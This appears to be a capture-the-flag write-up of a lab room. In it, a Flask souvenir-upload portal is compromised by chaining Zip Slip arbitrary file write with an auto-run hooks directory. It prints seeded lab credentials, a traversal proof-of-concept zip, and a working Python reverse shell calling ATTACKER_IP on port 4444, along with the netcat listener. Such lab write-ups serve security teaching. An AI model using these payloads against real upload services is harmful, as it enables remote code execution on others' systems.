Hacker Holidays Day 10: The Hollow Shell
Staff can upload a .zip souvenir pack through a portal. It extracts archives
without checking entry paths, which is a Zip Slip, and an automation feature
auto-runs anything dropped into a hooks/ directory. Chained, that is RCE.
Getting in and confirming the slip
Port 5000 ran a Flask app. The login page source had seeded staff credentials in an HTML comment.
Spoiler: the seeded staff credentials
concierge / StayNoticed2024!
Logged in, I got an upload feature. To test whether extraction validated paths, I crafted a zip with a traversal in the entry name:
Spoiler: the Zip Slip proof of concept
import zipfile
with zipfile.ZipFile("test.zip", "a") as z:
z.writestr("../../../../tmp/pwned_test.txt", "zip slip works")
The upload succeeded silently, no rejection. The server extracts entries without
sanitising ../, which is arbitrary file write.
Turning the write into a shell
The portal’s hint text mentioned automation hooks that “the theme worker applies
for you”. So I wrote a reverse shell straight into hooks/ instead of a scratch
file:
Spoiler: the Zip Slip reverse shell
import zipfile, json
callback = '''
import socket, os, pty
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("ATTACKER_IP", 4444))
for fd in (0, 1, 2): os.dup2(sock.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
z.writestr("shell.json", json.dumps({"name": "reverse", "assets": []}))
z.writestr("../../hooks/callback.py", callback)
Started nc -lvnp 4444, uploaded the zip, and the theme worker ran the planted
hook:
roomservice@tryhackme-2404:/var/www/conch$
Code execution as roomservice, off Zip Slip to arbitrary write to automatic
execution. The flag was in the working directory, no escalation needed. Redacted
here.